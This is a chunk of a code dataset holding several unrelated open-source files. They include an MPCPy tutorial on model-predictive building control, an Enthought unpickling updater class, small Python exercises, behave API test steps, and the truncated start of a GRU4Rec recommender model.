variable_map,\n... tz_name = weather.tz_name)\n\nNow we are ready to collect the exogenous data from our data sources for a\ngiven time period.\n\n>>> start_time = '1/1/2017'\n>>> final_time = '1/3/2017'\n>>> weather.collect_data(start_time, final_time) # doctest: +ELLIPSIS\n-etc-\n>>> control.collect_data(start_time, final_time)\n\nUse the ``display_data()`` and ``get_base_data()`` functions for the weather\nand control objects to get the data in the form of a pandas dataframe. Note\nthat the data is given in UTC time. \n\n>>> control.display_data() # doctest: +ELLIPSIS\n Qflow\nTime \n2017-01-01 06:00:00+00:00 3000.0\n2017-01-01 07:00:00+00:00 3000.0\n2017-01-01 08:00:00+00:00 3000.0\n-etc-\n\n\n\nSimulate as Emulated System\n---------------------------\n\nThe model has parameters for the resistance and capacitance set in the \nmodelica code. For the purposes of this tutorial, we will assume that the \nmodel with these parameter values represents the actual system. We now wish to\ncollect measurements from this 'actual system.' For this, we use the systems \nmodule of mpcpy.\n\n>>> from mpcpy import systems\n\nFirst, we instantiate our system model by supplying a measurement dictionary, \ninformation about where the model resides, and information about model exodata.\n\nThe measurement dictionary holds information about and data from the variables \nbeing measured. We start with defining the variables we are interested in\nmeasuring and their sample rate. In this case, we have two, the output of \nthe model, called 'Tzone' and the control input called 'Qflow'. \nNote that 'heatCapacitor.T' would also be valid instead of 'Tzone'. \n\n>>> measurements = {'Tzone' : {}, 'Qflow' : {}}\n>>> measurements['Tzone']['Sample'] = variables.Static('sample_rate_Tzone',\n... 3600,\n... units.s)\n>>> measurements['Qflow']['Sample'] = variables.Static('sample_rate_Qflow',\n... 3600,\n... units.s)\n\nThe model information is given by a tuple containing the path to the \nModelica (.mo) file, the path of the model within the .mo file, and a list of \npaths of any required libraries other than the Modelica Standard. \nFor this example, there are no additional libraries.\n\n>>> moinfo = ('Tutorial.mo', 'Tutorial.RC', {})\n\nUltimately, the modelica model is compiled into an FMU. If the emulation model\nis already an FMU, than an fmupath can be specified instead of the modelica \ninformation tuple. For more information, see the documentation on the systmems\nclass.\n\nWe can now instantiate the system emulation object with our measurement\ndictionary, model information, collected exogenous data, and time zone:\n\n>>> emulation = systems.EmulationFromFMU(measurements,\n... moinfo = moinfo,\n... weather_data = weather.data,\n... control_data = control.data,\n... tz_name = weather.tz_name)\n \nFinally, we can collect the measurements from our emulation over a specified\ntime period and display the results as a pandas dataframe. The \n``collect_measurements()`` function updates the measurement dictionary with \ntimeseries data in the ``'Measured'`` field for each variable.\n\n>>> # Collect the data\n>>> emulation.collect_measurements('1/1/2017', '1/2/2017') # doctest: +ELLIPSIS\n-etc-\n>>> # Display the results\n>>> emulation.display_measurements('Measured').applymap('{:.2f}'.format) # doctest: +ELLIPSIS\n Qflow Tzone\nTime \n2017-01-01 06:00:00+00:00 3000.00 293.15\n2017-01-01 07:00:00+00:00 3000.00 291.01\n2017-01-01 08:00:00+00:00 3000.00 291.32\n-etc-\n\nEstimate Parameters\n-------------------\n\nNow assume that we do not know the parameters of the model. Or, that we have\nmeasurements from a real or emulated system, and would like to estimate\nparameters of our model to fit the measurements. For this, we use the models\nmodule from mpcpy.\n\n>>> from mpcpy import models\n\nIn this case, we have a Modelica model with two parameters that we would like\nto train based on the measured data from our system; the resistance\nand capacitance.\n\nWe first need to collect some information about our parameters and do so using\na parameters exodata object. The parameter information is stored in a CSV file\nthat looks like:\n\n::\n\n Name,Free,Value,Minimum,Maximum,Covariance,Unit\n heatCapacitor.C,True,40000,1.00E+04,1.00E+06,1000,J/K\n thermalResistor.R,True,0.002,0.001,0.1,0.0001,K/W\n\nThe name is the name of the parameter in the model. The Free field indicates\nif the parameter is free to be changed during the estimation method or not.\nThe Value is the current value of the parameter. If the parameter is to be\nestimated, this would be an initial guess. If the parameter's Free field is\nset to False, then the value is set to the parameter upon simulation. The\nMinimum and Maximum fields set the minimum and maximum value allowed by the \nparameter during estimation. The Covariance field sets the covariance of\nthe parameter, and is only used for unscented kalman filtering. Finally, the \nUnit field specifies the unit of the parameter using the name string of \nMPCPy unit classes.\n\n>>> parameters = exodata.ParameterFromCSV('Parameters.csv')\n>>> parameters.collect_data()\n>>> parameters.display_data() # doctest: +NORMALIZE_WHITESPACE\n Covariance Free Maximum Minimum Unit Value\nName \nheatCapacitor.C 1000 True 1e+06 10000 J/K 40000\nthermalResistor.R 0.0001 True 0.1 0.001 K/W 0.002\n\nNow, we can instantiate the model object by defining the estimation method, \nvalidation method, measurement dictionary, model information, parameter data, \nand exogenous data. In this case, we use JModelica optimization to perform \nthe parameter estimation and will validate the parameter estimation by \ncalculating the root mean square error (RMSE) between measurements from the \nmodel and emulation.\n\n>>> model = models.Modelica(models.JModelicaParameter,\n... models.RMSE,\n... emulation.measurements,\n... moinfo = moinfo,\n... parameter_data = parameters.data,\n... weather_data = weather.data,\n... control_data = control.data,\n... tz_name = weather.tz_name)\n\nLet's simulate the model to see how far off we are with our initial parameter\nguesses. The ``simulate()`` function updates the measurement dictionary with \ntimeseries data in the ``'Simulated'`` field for each variable.\n\n>>> # Simulate the model\n>>> model.simulate('1/1/2017', '1/2/2017') # doctest: +ELLIPSIS\n-etc-\n>>> # Display the results\n>>> model.display_measurements('Simulated').applymap('{:.2f}'.format) # doctest: +ELLIPSIS\n Qflow Tzone\nTime \n2017-01-01 06:00:00+00:00 3000.00 293.15\n2017-01-01 07:00:00+00:00 3000.00 266.95\n2017-01-01 08:00:00+00:00 3000.00 267.44\n-etc-\n\n\nNow, we are ready to estimate the parameters to better fit the emulated\nmeasurements. In addtion to a training period, we must supply a list of \nmeasurement variables for which to minimize the error between the simulated \nand measured data. In this case, we only have one, ``'Tzone'``. The\n``estimate()`` function updates the Value field for the parameter data in \nthe model. \n\n>>> model.parameter_estimate('1/1/2017', '1/2/2017', ['Tzone']) # doctest: +ELLIPSIS\n-etc-\n\nLet's validate the estimation on the training period. The ``validate()``\nmethod will simulate the model over the specified time period, calculate the\nRMSE between the simulated and measured data, and generate a plot in the \nworking directory that shows the simulated and measured data for each \nmeasurement variable.\n\n>>> # Perform validation\n>>> model.validate('1/1/2017', '1/2/2017', 'validate_tra', plot=1) # doctest: +ELLIPSIS\n-etc-\n>>> # Get RMSE\n>>> print(\"%.3f\" % model.RMSE['Tzone'].display_data()) # doctest: +NORMALIZE_WHITESPACE\n0.041\n\nNow let's validate on a different period of exogenous data:\n\n>>> # Define validation period\n>>> start_time_val = '1/2/2017'\n>>> final_time_val = '1/3/2017'\n>>> # Collect new measurements\n>>> emulation.collect_measurements(start_time_val, final_time_val) # doctest: +ELLIPSIS\n-etc-\n>>> # Assign new measurements to model\n>>> model.measurements = emulation.measurements\n>>> # Perform validation\n>>> model.validate(start_time_val, final_time_val, 'validate_val', plot=1) # doctest: +ELLIPSIS\n-etc-\n>>> # Get RMSE\n>>> print(\"%.3f\" % model.RMSE['Tzone'].display_data()) # doctest: +NORMALIZE_WHITESPACE\n0.047\n\nFinally, let's view the estimated parameter values:\n\n>>> for key in model.parameter_data.keys():\n... print(key, \"%.2f\" % model.parameter_data[key]['Value'].display_data())\n('heatCapacitor.C', '119828.30')\n('thermalResistor.R', '0.01')\n\n\nOptimize Control\n----------------\n\nWe are now ready to optimize control of our system heater using our calibrated \nMPC model. Specificlaly, we would like to maintain a comfortable temperature\nin our zone with the minimum amount of heater energy. We can do this by using \nthe optimization module of MPCPy.\n\n>>> from mpcpy import optimization\n\nFirst, we need to collect some constraint data to add to our optimization\nproblem. In this case, we will constrain the heating input to between \n0 and 4000 W, and the temperature to a comfortable range, between \n20 and 25 degC. We collect contraint data from a CSV using a constraint \nexodata data object. The constraint CSV looks like:\n\n::\n\n Time,Qflow_min,Qflow_max,T_min,T_max\n 01/01/17 12:00 AM,0,4000,20,25\n 01/01/17 01:00 AM,0,4000,20,25\n 01/01/17 02:00 AM,0,4000,20,25\n ...\n 01/02/17 10:00 PM,0,4000,20,25\n 01/02/17 11:00 PM,0,4000,20,25\n 01/03/17 12:00 AM,0,4000,20,25\n \nThe constraint exodata object is used to determine which column of data matches\nwith which model variable and whether it is a less-than-or-equal-to (LTE) or \ngreater-than-or-equal-to (GTE) constraint:\n\n>>> # Define variable map\n>>> variable_map = {'Qflow_min' : ('Qflow', 'GTE', units.W), \n... 'Qflow_max' : ('Qflow', 'LTE', units.W),\n... 'T_min' : ('Tzone', 'GTE', units.degC),\n... 'T_max' : ('Tzone', 'LTE', units.degC)}\n>>> # Instantiate constraint exodata object\n>>> constraints = exodata.ConstraintFromCSV('Constraints.csv',\n... variable_map,\n... tz_name = weather.tz_name)\n>>> # Collect data\n>>> constraints.collect_data('1/1/2017', '1/3/2017')\n>>> # Get data\n>>> constraints.display_data() # doctest: +ELLIPSIS\n \t Qflow_GTE Qflow_LTE Tzone_GTE Tzone_LTE\nTime \n2017-01-01 06:00:00+00:00 0.0 4000.0 20.0 25.0\n2017-01-01 07:00:00+00:00 0.0 4000.0 20.0 25.0\n2017-01-01 08:00:00+00:00 0.0 4000.0 20.0 25.0\n-etc-\n\nWe can now instantiate an optimization object using our calibrated MPC model, \nselecting an optimization problem type and solver package, and specifying\nwhich of the variables in the model to treat as the objective variable.\nIn this case, we choose an energy minimization problem (integral of variable \nover time horizon) to be solved using JModelica, and Qflow to be the variable \nwe wish to minimize the integral of over the time horizon.\n\n>>> opt_problem = optimization.Optimization(model, \n... optimization.EnergyMin,\n... optimization.JModelica,\n... 'Qflow',\n... constraint_data = constraints.data)\n\nThe information provided is used to automatically generate a .mop (optimization\nmodel file for JModelica) and transfer the optimization problem using JModelica.\nUsing the ``optimize()`` function optimizes the variables defined in the control\ndata of the model object and updates their timeseries data with the optimal \nsolution for the time period specified. Note that other than the constraints, \nthe exogenous data within the model object is used, and the control interval\nis assumed to be the same as the measurement sampling rate of the model. Use\nthe ``get_optimization_options()`` and ``set_optimization_options()`` to see\nand change the options for the optimization solver; for instance number\nof control points, maximum iteration number, tolerance, or maximum CPU time.\nSee the documentation for these functions for more information.\n\n>>> opt_problem.optimize('1/2/2017', '1/3/2017') # doctest: +ELLIPSIS\n-etc-\n\nWe can get the optimization solver statistics in the form of\n(return message, # of iterations, objective value, solution time in seconds):\n\n>>> opt_problem.get_optimization_statistics() # doctest: +ELLIPSIS\n('Solve_Succeeded', 12, -etc-)\n\nWe can retrieve the optimal control solution and verify that the \nconstraints were satisfied. The intermediate points are a result of the \ndirect collocation method used by JModelica.\n\n>>> opt_problem.display_measurements('Simulated').applymap('{:.2f}'.format) # doctest: +ELLIPSIS\n Qflow Tzone\nTime \n2017-01-02 06:00:00+00:00 669.93 298.15\n2017-01-02 06:09:18.183693+00:00 1512.95 293.15\n2017-01-02 06:38:41.816307+00:00 2599.01 293.15\n2017-01-02 07:00:00+00:00 1888.28 293.15\n-etc-\n\nFinally, we can simulate the model using the optimized control trajectory.\nNote that the ``model.control_data`` dictionary is updated by the \n``opt_problem.optimize()`` function.\n\n>>> model.control_data['Qflow'].display_data().loc[pd.to_datetime('1/2/2017 06:00:00'):pd.to_datetime('1/3/2017 06:00:00')].map('{:.2f}'.format) # doctest: +ELLIPSIS\n2017-01-02 06:00:00+00:00 669.93\n2017-01-02 06:09:18.183693+00:00 1512.95\n2017-01-02 06:38:41.816307+00:00 2599.01\n2017-01-02 07:00:00+00:00 1888.28\n-etc-\n>>> model.simulate('1/2/2017', '1/3/2017') # doctest: +ELLIPSIS\n-etc-\n>>> model.display_measurements('Simulated').applymap('{:.2f}'.format) # doctest: +ELLIPSIS\n Qflow Tzone\nTime \n2017-01-02 06:00:00+00:00 669.93 293.15\n2017-01-02 07:00:00+00:00 1888.28 291.41\n2017-01-02 08:00:00+00:00 2277.67 293.03\n-etc-\n\nNote there is some mismatch between the simulated model output temperature \nand the raw optimal control solution model output temperature output. \nThis is due to the interpolation of control input results during simulation \nnot aligning with the collocation polynomials and timestep determined by the\noptimization solver. We can solve the optimization problem again, this \ntime updating the ``model.control_data`` with a greater time resolution of 1 \nsecond. Some mismatch will still occur due to the optimization solution\nusing collocation being an approximation of the true dynamic model.\n\n>>> opt_problem.optimize('1/2/2017', '1/3/2017', res_control_step=1.0) # doctest: +ELLIPSIS\n-etc-\n>>> model.control_data['Qflow'].display_data().loc[pd.to_datetime('1/2/2017 06:00:00'):pd.to_datetime('1/3/2017 06:00:00')].map('{:.2f}'.format) # doctest: +ELLIPSIS\n2017-01-02 06:00:00+00:00 669.93\n2017-01-02 06:00:01+00:00 671.66\n2017-01-02 06:00:02+00:00 673.38\n-etc-\n>>> model.simulate('1/2/2017', '1/3/2017') # doctest: +ELLIPSIS\n-etc-\n>>> model.display_measurements('Simulated').applymap('{:.2f}'.format) # doctest: +ELLIPSIS\n Qflow Tzone\nTime \n2017-01-02 06:00:00+00:00 669.93 293.15\n2017-01-02 07:00:00+00:00 1888.28 292.67\n2017-01-02 08:00:00+00:00 2277.67 293.13\n-etc-\n\n\"\"\"\n\nif __name__ == \"__main__\":\n import doctest\n doctest.ELLIPSIS_MARKER = '-etc-'\n (n_fails, n_tests) = doctest.testmod()\n if n_fails:\n print('\\nTutorial finished with {0} fails.'.format(n_fails));\n else:\n print('\\nTutorial finished OK.')\n", "source": "lbl-srg/MPCPy", "license": "BSD-3-Clause-LBNL"} {"text": "#-----------------------------------------------------------------------------\n#\n# Copyright (c) 2005, 2006 by Enthought, Inc.\n# All rights reserved.\n#\n# Author: Dave Peterson \n# Author: Duncan Child \n#\n#-----------------------------------------------------------------------------\n\n\"\"\" A record of refactorings to be performed during unpickling of objects.\n\"\"\"\n\n# Standard library imports\nimport logging\n\n# Enthought library imports\nfrom traits.api import Dict, HasPrivateTraits, Int, List, Tuple, Str\n\n\nlogger = logging.getLogger(__name__)\n\n\n##############################################################################\n# class 'Updater'\n##############################################################################\n\nclass Updater(HasPrivateTraits):\n \"\"\" A record of refactorings to be performed during unpickling of objects.\n \"\"\"\n\n ##########################################################################\n # Traits\n ##########################################################################\n\n ### public 'Updater' interface ###########################################\n\n # Mappings from a pickled class to a class it should be unpickled as.\n #\n # The keys are a tuple of the source class's module and class names in\n # that order. The values are the target class's module and class names\n # in that order.\n class_map = Dict(Tuple(Str, Str), Tuple(Str, Str))\n\n # State functions that should be called to convert state from one version\n # of a class to another.\n #\n # The keys are a tuple of the class's module name, class name, and version\n # in that order. The values are a list of functions to be called during\n # unpickling to do the state conversion. Note that the version in the\n # key represents the version that the function converts *TO*.\n state_functions = Dict(Tuple(Str, Str, Int), List)\n\n # Our record of the attribute that records the version number for a\n # specific class. If no record is found for a given class, then the\n # default value is used instead -- see '_default_version_attribute'.\n #\n # The key is a tuple of the class's module name and class name in that\n # order. The value is the name of the version attribute.\n version_attribute_map = Dict(Tuple(Str, Str), Str)\n\n\n ### protected 'Updater' interface ########################################\n\n # The default name of the attribute that declares the version of a class\n # or class instance.\n _default_version_attribute = '_enthought_pickle_version'\n\n # A record of which classes we have state functions for.\n #\n # The keys are a tuple of the class's module name and class name in that\n # order. The values are reference counts.\n _state_function_classes = Dict(Tuple(Str, Str), Int)\n\n\n ##########################################################################\n # 'Updater' interface\n ##########################################################################\n\n ### public interface #####################################################\n\n def add_mapping(self, source_module, source_name, target_module,\n target_name):\n \"\"\" Adds a mapping from the class with the source name in the source\n module to the class with the target name in the target module.\n \"\"\"\n self.class_map[(source_module, source_name)] = (target_module,\n target_name)\n\n\n def add_mapping_to_class(self, source_module, source_name, target_class):\n \"\"\" Convenience method to add a mapping, from the class with the\n source name in the source module to the target class.\n \"\"\"\n self.add_mapping(source_module, source_name, target_class.__module__,\n target_class.__name__)\n\n\n def add_mappings(self, source_module, target_module, class_names):\n \"\"\" Adds mappings, from the specified source module to the specified\n target module, for each of the class names in the specified\n list.\n \"\"\"\n for name in class_names:\n self.add_mapping(source_module, name, target_module, name)\n\n\n def add_state_function(self, module, name, target_version, function):\n \"\"\" Adds the specified function as a state function to be called to\n convert an instance of the class with the specified name within\n the specified module *TO* the specified version.\n\n Note that the framework handles calling of state functions to make\n the smallest version jumps possible.\n \"\"\"\n key = (module, name, target_version)\n list = self.state_functions.setdefault(key, [])\n list = list[:] # Copy necessary because traits only recognizes list\n # changes by list instance - not its contents.\n list.append(function)\n self.state_functions[key] = list\n\n\n def add_state_function_for_class(self, klass, target_version, function):\n \"\"\" Convenience method to add the specified function as a state\n function to be called to convert an instance of the specified\n class *TO* the specified version.\n \"\"\"\n self.add_state_function(klass.__module__, klass.__name__,\n target_version, function)\n\n\n def declare_version_attribute(self, module, name, attribute_name):\n \"\"\" Adds the specified attribute name as the version attribute for the\n class within the specified module with the specified name.\n \"\"\"\n self.version_attribute_map[(module, name)] = attribute_name\n\n\n def declare_version_attribute_for_class(self, klass, attribute_name):\n \"\"\" Covenience method to add the specified attribute name as the\n version attribute for the specified class.\n \"\"\"\n self.declare_version_attribute(klass.__module__, klass.__name__,\n attribute_name)\n\n\n def get_version_attribute(self, module, name):\n \"\"\" Returns the name of the version attribute for the class of the\n specified name within the specified module.\n \"\"\"\n return self.version_attribute_map.get( (module, name),\n self._default_version_attribute)\n\n\n def has_class_mapping(self, module, name):\n \"\"\" Returns True if this updater contains a class mapping for\n the class identified by the specified module and class name.\n \"\"\"\n return (module, name) in self.class_map\n\n\n def has_state_function(self, module, name):\n \"\"\" Returns True if this updater contains any state functions for\n the class identified by the specified module and class name.\n \"\"\"\n return (module, name) in self._state_function_classes\n\n\n def merge_updater(self, updater):\n \"\"\" Merges the mappings and state functions from the specified updater\n into this updater.\n \"\"\"\n self.class_map.update(updater.class_map)\n self.version_attribute_map.update(updater.version_attribute_map)\n\n # The state functions dictionary requires special processing because\n # each value is a list and we don't just want to replace the existing\n # list with only the new content.\n for key, value in updater.state_functions.items():\n if isinstance(value, list) and len(value) > 0:\n funcs = self.state_functions.setdefault(key, [])\n funcs = funcs[:] # Copy necessary because traits only recognizes\n # funcs changes by funcs instance - not its\n # contents.\n funcs.extend(value)\n self.state_functions[key] = funcs\n\n\n ### trait handlers #######################################################\n\n def _class_map_changed(self, old, new):\n logger.debug('Detected class_map change from [%s] to [%s] in [%s]',\n old, new, self)\n\n\n def _class_map_items_changed(self, event):\n for o in event.removed:\n logger.debug('Detected [%s] removed from class_map in [%s]', o,\n self)\n for k, v in event.changed.items():\n logger.debug('Detected [%s] changed from [%s] to [%s] in ' + \\\n 'class_map in [%s]', k, v, self.class_map[k], self)\n for k, v in event.added.items():\n logger.debug('Detected mapping from [%s] to [%s] added to ' + \\\n 'class_map in [%s]', k, v, self)\n\n\n def _state_functions_changed(self, old, new):\n logger.debug('Detected state_functions changed from [%s] to [%s] ' + \\\n 'in [%s]', old, new, self)\n\n # Update our record of which classes we have state functions for.\n # All of our old state functions are gone so we simply need to rescan\n # the new functions.\n self._state_function_classes.clear()\n for key, value in new.items():\n module, name, version = key\n klass_key = (module, name)\n count = self._state_function_classes.setdefault(klass_key, 0)\n self._state_function_classes[klass_key] = count + len(value)\n\n\n def _state_functions_items_changed(self, event):\n # Decrement our reference counts for the classes we no longer\n # have state functions for. If the reference count reaches zero,\n # remove the record completely.\n for k, v in event.removed.items():\n logger.debug('Detected [%s] removed from state_functions in [%s]',\n k, self)\n\n # Determine the new reference count of state functions for the\n # class who the removed item was for.\n module, name, version = k\n key = (module, name)\n count = self._state_function_classes[key] - len(v)\n\n # Store the new reference count. Delete the entry if it is zero.\n if count < 0:\n logger.warn('Unexpectedly reached negative reference count ' +\n 'value of [%s] for [%s]', count, key)\n del self._state_function_classes[key]\n elif count == 0:\n del self._state_function_classes[key]\n else:\n self._state_function_classes[key] = count\n\n # Update our reference counts for changes to the list of functions\n # for a specific class and version. The 'changed' dictionary's values\n # are the old values.\n for k, v in event.changed.items():\n value = self.state_functions[k]\n logger.debug('Detected [%s] changed in state_functions from ' + \\\n '[%s] to [%s] in [%s]', k, v, value, self)\n\n # Determine the new reference count as a result of the change.\n module, name, version = k\n key = (module, name)\n count = self._state_function_classes[key] - len(v) + len(value)\n\n # Store the new reference count. Delete the entry if it is zero.\n if count < 0:\n logger.warn('Unexpectedly reached negative reference count ' +\n 'value of [%s] for [%s]', count, key)\n del self._state_function_classes[key]\n elif count == 0:\n del self._state_function_classes[key]\n else:\n self._state_function_classes[key] = count\n\n\n # Update our reference counts for newly registered state functions.\n for k, v in event.added.items():\n logger.debug('Detected mapping of [%s] to [%s] added to ' + \\\n 'state_functions in [%s]', k, v, self)\n\n # Determine the new reference count as a result of the change.\n module, name, version = k\n key = (module, name)\n count = self._state_function_classes.setdefault(key, 0) + len(v)\n\n # Store the new reference count\n self._state_function_classes[key] = count\n\n\n def _version_attribute_map_changed(self, old, new):\n logger.debug('Detected version_attribute_map change from [%s] ' + \\\n 'to [%s] in [%s]', old, new, self)\n\n\n def _version_attribute_map_items_changed(self, event):\n for o in event.removed:\n logger.debug('Detected [%s] removed from version_attribute_map ' + \\\n 'in [%s]', o, self)\n for o in event.changed:\n logger.debug('Detected [%s] changed in version_attribute_map ' + \\\n 'in [%s]', o, self)\n for o in event.added:\n logger.debug('Detected [%s] added to version_attribute_map in ' + \\\n '[%s]', o, self)\n\n\n### EOF ######################################################################\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "import logging\nimport paramiko\nfrom gevent import monkey\nmonkey.patch_all()\n\n\nclass SSHClient:\n\n def __init__(self):\n client = paramiko.SSHClient()\n self.client = client\n self.host = None\n self.port = None", "source": "deadwind4/fast-pssh", "license": "MIT"} {"text": "class PongError(Exception):\n pass\n\n\nclass RoomError(PongError):\n def __init__(self, room, msg, **kwargs):\n err_msg = '{} room info : {}'.format(msg, room)\n super().__init__(err_msg, **kwargs)\n\n\nclass PlayerError(PongError):\n def __init__(self, player, msg, **kwargs):\n err_msg = '{} player info : {}'.format(msg, player)\n super().__init__(err_msg, **kwargs)\n\n\nclass LobbyError(PongError):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n\nclass ProtocolError(PongError):\n def __init__(self, payload, msg, **kwargs):\n err_msg = '{} message: {}'.format(msg, payload)\n super().__init__(err_msg, **kwargs)\n\n\nclass UnexpectedProtocolError(ProtocolError):\n def __init__(self, payload, expected, **kwargs):\n err_msg = 'Unexpected payload type {}'.format(expected)\n super().__init__(payload, err_msg, **kwargs)", "source": "iFunFactory/pong-webscoket", "license": "MIT"} {"text": "tabs = int(input())\nsalary = float(input())\n\nfor tab in range(tabs):\n current_tab = input()\n if current_tab == \"Facebook\":\n salary -= 150\n elif current_tab == \"Instagram\":\n salary -= 100\n elif current_tab == \"Reddit\":\n salary -= 50\n if salary <= 0:\n print(\"You have lost your salary.\")\n break\n\nif salary > 0:\n print(int(salary))", "source": "Rohitm619/Softuni-Python-Basic", "license": "MIT"} {"text": "from behave import given, when, then\nfrom hamcrest.core import assert_that, equal_to\nfrom hamcrest.library.number.ordering_comparison import greater_than\nimport requests\nimport json\nimport logging\n\nfrom hamcrest.library.text.stringcontains import contains_string\n\n\n@given(u'I select \"{house_price}\" as House Price')\ndef step(context, house_price):\n context.query.house_price = house_price\n\n\n@given(u'I omit the \"{param_name}\" field')\ndef step(context, param_name):\n if(param_name == \"House Price\"):\n context.query.house_price = \"missing\"\n elif(param_name == \"Loan Amount\"):\n context.query.loan_amount = \"missing\"\n elif(param_name == \"Minimum Credit Score\"):\n context.query.minfico = \"missing\"\n elif(param_name == \"Maximum Credit Score\"):\n context.query.maxfico = \"missing\"\n elif(param_name == \"State\"):\n context.query.state = \"missing\"\n elif(param_name == \"Rate Structure\"):\n context.query.rate_structure = \"missing\"\n elif(param_name == \"Loan Term\"):\n context.query.loan_term = \"missing\"\n elif(param_name == \"Loan Type\"):\n context.query.loan_type = \"missing\"\n elif(param_name == \"ARM Type\"):\n context.query.arm_type = \"missing\"\n\n\n@given(u'I select \"{loan_amount}\" as Loan Amount')\ndef step(context, loan_amount):\n context.query.loan_amount = loan_amount\n\n\n@given(u'I select my minimum credit score as \"{minfico}\"')\ndef step(context, minfico):\n context.query.minfico = minfico\n\n\n@given(u'I select my maximum credit score as \"{maxfico}\"')\ndef step(context, maxfico):\n context.query.maxfico = maxfico\n\n\n@given(u'I select \"{state}\" as State')\ndef step(context, state):\n context.query.state = state\n\n\n@given(u'I select \"{rate_structure}\" as Rate Structure')\ndef step(context, rate_structure):\n context.query.rate_structure = rate_structure\n\n\n@given(u'I select \"{loan_term}\" as Loan Term')\ndef step(context, loan_term):\n context.query.loan_term = loan_term\n\n\n@given(u'I select \"{loan_type}\" as Loan Type')\ndef step(context, loan_type):\n context.query.loan_type = loan_type\n\n\n@given(u'I select \"{arm_type}\" as ARM Type')\ndef step(context, arm_type):\n context.query.arm_type = arm_type\n\n\n@when(u'I send the request')\ndef step(context):\n query_string = context.query.build()\n context.logger.debug(\"Query string is: %s\" % query_string)\n\n context.response = requests.get(context.base_url, params=query_string)\n context.logger.debug(\"URL is : %s\" % context.response.url)\n\n\n@then(u'the response should include a timestamp field')\ndef step(context):\n context.json_data = json.loads(context.response.text)\n context.logger.debug(\"timestamp is: %s\" % context.json_data['timestamp'])\n assert_that(len(context.json_data[u'timestamp']), greater_than(0))\n\n\n@then(u'the response should include a data field')\ndef step(context):\n context.json_data = json.loads(context.response.text)\n context.logger.debug(\"JSON data is: %s\" % context.json_data['data'])\n\n assert_that(len(context.json_data[u'data']), greater_than(0))\n\n\n@then(u'The response should state that required parameter \"{param_name}\" is missing')\ndef step(context, param_name):\n expected_reponse = \"Required parameter '\" + param_name + \"' is missing\"\n context.json_data = json.loads(context.response.text)\n\n context.logger.debug(\"JSON detail is: %s\" % context.json_data['detail'])\n context.logger.debug(\"JSON text is: %s\" % context.response.text)\n\n assert_that(context.json_data['detail'], equal_to(expected_reponse))\n", "source": "ascott1/owning-a-home", "license": "CC0-1.0"} {"text": "from .hub import ImageHub\nfrom .ip import getSelfIP\nfrom .sumchars import sumChars\nfrom .safecheck import slowDown\nfrom .respadapter import GeneralResp\nfrom .sac import SelfAssemblingClass\nfrom .sigmaactions import sigmaActions\nfrom .tiempo import fancyTiempo, fancyTQ\nfrom .misc import is_url, asciiBigSuccess\n", "source": "nosoyyo/minibee", "license": "Apache-2.0"} {"text": "\"\"\"\nPaper: Recurrent Neural Networks with Top-k Gains for Session-based Recommendations\nAuthor: Bal\u00e1zs Hidasi, and Alexandros Karatzoglou\nReference: https://github.com/hidasib/GRU4Rec\n https://github.com/Songweiping/GRU4Rec_TensorFlow\n@author: Zhongchuan Sun\n\"\"\"\n\nimport numpy as np\nfrom model.AbstractRecommender import SeqAbstractRecommender\nimport tensorflow as tf\nfrom util import l2_loss\n\n\nclass GRU4RecPlus(SeqAbstractRecommender):\n def __init__(self, sess, dataset, conf):\n super(GRU4RecPlus, self).__init__(dataset, conf)\n self.train_matrix = dataset.train_matrix\n self.dataset = dataset\n\n self.users_num, self.items_num = self.train_matrix.shape\n\n self.lr = conf[\"lr\"]\n self.reg = conf[\"reg\"]\n self.layers = conf[\"layers\"]\n self.batch_size = conf[\"batch_size\"]\n self.n_sample = conf[\"n_sample\"]\n self.sample_alpha = conf[\"sample_alpha\"]\n self.epochs = conf[\"epochs\"]\n self.bpr_reg = conf[\"bpr_reg\"]\n\n if conf[\"hidden_act\"] == \"relu\":\n self.hidden_act = tf.nn.relu\n elif conf[\"hidden_act\"] == \"tanh\":\n self.hidden_act = tf.nn.tanh\n else:\n raise ValueError(\"There is not hidden_act named '%s'.\" % conf[\"hidden_act\"])\n\n # final_act = leaky-relu\n if conf[\"final_act\"] == \"relu\":\n self.final_act = tf.nn.relu\n elif conf[\"final_act\"] == \"linear\":\n self.final_act = tf.identity\n elif conf[\"final_act\"] == \"leaky_relu\":\n self.final_act = tf.nn.leaky_relu\n else:\n raise ValueError(\"There is not final_act named '%s'.\" % conf[\"final_act\"])\n\n if conf[\"loss\"] == \"bpr_max\":\n self.loss_fun = self._bpr_max_loss\n elif conf[\"loss\"] == \"top1_max\":\n self.loss_fun = self._top1_max_loss\n else:\n raise ValueError(\"There is not loss named '%s'.\" % conf[\"loss\"])\n\n self.data_uit, self.offset_idx = self._init_data()\n\n # for sampling negative items\n _, pop = np.unique(self.data_uit[:, 1], return_counts=True)\n pop = np.power(pop, self.sample_alpha)\n pop_cumsum = np.cumsum(pop)\n self.pop_cumsum = pop_cumsum / pop_cumsum[-1]\n\n self.sess = sess\n\n def _init_data(self):\n time_dok = self.dataset.time_matrix.todok()\n data_uit = [[row, col, time] for (row, col), time in time_dok.items()]\n data_uit.sort(key=lambda x: (x[0], x[-1]))\n data_uit = np.array(data_uit, dtype=np.int32)\n _, idx = np.unique(data_uit[:, 0], return_index=True)\n offset_idx = np.zeros(len(idx)+1, dtype=np.int32)\n offset_idx[:-1] = idx\n offset_idx[-1] = len(data_uit)\n\n return data_uit, offset_idx\n\n def _create_variable(self):\n self.X_ph = tf.placeholder(tf.int32, [self.batch_size], name='input')\n self.Y_ph = tf.placeholder(tf.int32, [self.batch_size+self.n_sample], name='output')\n self.state_ph = [tf.placeholder(tf.float32, [self.batch_size, n_unit], name='layer_%d_state' % idx)\n for idx, n_unit in enumerate(self.layers)]\n\n init = tf.random.truncated_normal([self.items_num, self.layers[0]], mean=0.0, stddev=0.01)\n self.input_embeddings = tf.Variable(init, dtype=tf.float32, name=\"input_embeddings\")\n\n init = tf.random.truncated_normal([self.items_num, self.layers[-1]], mean=0.0, stddev=0.01)\n self.item_embeddings = tf.Variable(init, dtype=tf.float32, name=\"item_embeddings\")\n self.item_biases = tf.Variable(tf.zeros([self.items_num]), dtype=tf.float32, name=\"item_biases\")\n\n def _softmax_neg(self, logits):\n # logits: (b, size_y)\n hm = 1.0 - tf.eye(tf.shape(logits)[0], tf.shape(logits)[1])\n logits = logits * hm\n logits = logits - tf.reduce_max(logits, axis=1, keep_dims=True)\n e_x = tf.exp(logits) * hm # (b, 